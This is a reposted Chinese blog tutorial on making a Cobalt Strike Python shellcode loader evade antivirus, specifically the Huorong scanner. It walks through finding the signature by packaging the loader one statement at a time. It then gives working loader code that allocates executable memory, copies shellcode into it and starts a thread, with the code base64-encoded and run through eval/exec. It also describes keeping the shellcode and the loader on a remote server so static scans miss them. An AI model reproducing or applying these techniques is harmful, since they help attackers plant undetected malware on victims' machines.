CS免杀-分离+混淆免杀思路 (转载)
混淆语句+分离免杀
特征码
杀软的静态扫描,基本是按照匹配特征码,根据哈希算法从病毒体中提取的病毒特征码,逐个与程序文件的md5比较。但是呢程序的内容只要稍微微改动一点,md5值就会改变
所以杀软还有一种方法是通过模糊哈希算法 ,找出一段不会改变的程序作为特征码,匹配这段程序的就当木马病毒处理loader加载器
这是网上python通用的shellcode loader加载器原理请看这《CS免杀-Shellcode Loader原理(python)》这个加载器我先将shellcode进行hex和base64编码分离放在了服务器端,所以静态查杀只查loader部分
接下来就通过单步走找出特征码我使用的pyinstaller将程序打包成exe
pyinstaller --noconsole --onefile test.py
上面加载器没任何处理,进行打包是会被火绒查杀的
单步查杀我们将第一条语句留着,其他的全部删除,打包exe发现没有查杀
然后每次打包增加一条语句,直到发现进行了查杀
将该语句删除,其他的全部打包,发现不报病毒了
找到特征码到这我们可以确定,这段代码中包含着火绒的特征码这是调用win的操作内存的语句
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
根据模糊哈希的意思呢,这个语句md5应该不会变,可这后面参数想咋变就咋变啊。。。
深入研究发现,特征码原来在前面,只要有RltMoveMemory这段字符就会查杀所以确定RltMoveMemory这段字符就是特征码
知道了特征码是啥,那就将它进行处理
混淆语句有两种思路,一是换一个可以达到相同效果的函数,但我没找到,RltCopyMemory也会被查杀
另一种思路就是该字符明面上不出现在语句当中直接将整个语句加密,用eval或exec函数运行
将上面语句base64转码,eval运行解码的语句
string = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=='''
eval(base64.b64decode(string))
明面上没有特征码了,所以就绕过火绒了
这里的话基本是够用了。但是!!
既然shellcode能放在服务器上,那我们的loader是否也可以尝试一下。。
这里eval函数不够用了,只能运行一条语句换成exec函数,可以将Python代码用分号;连接起来运行
a = '''ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40));buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)));handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))'''
exec(a)
尝试可行
进行base64编码,放在我的服务器2.txt文件中
最后查杀代码部分就剩这点了
只要你服务器不被标记恶意主机今就是天王老子来了也不敢说他是木马!!
转载自:https://mp.weixin.qq.com/s/cwZknRKUAemZxU5Oas0MzQ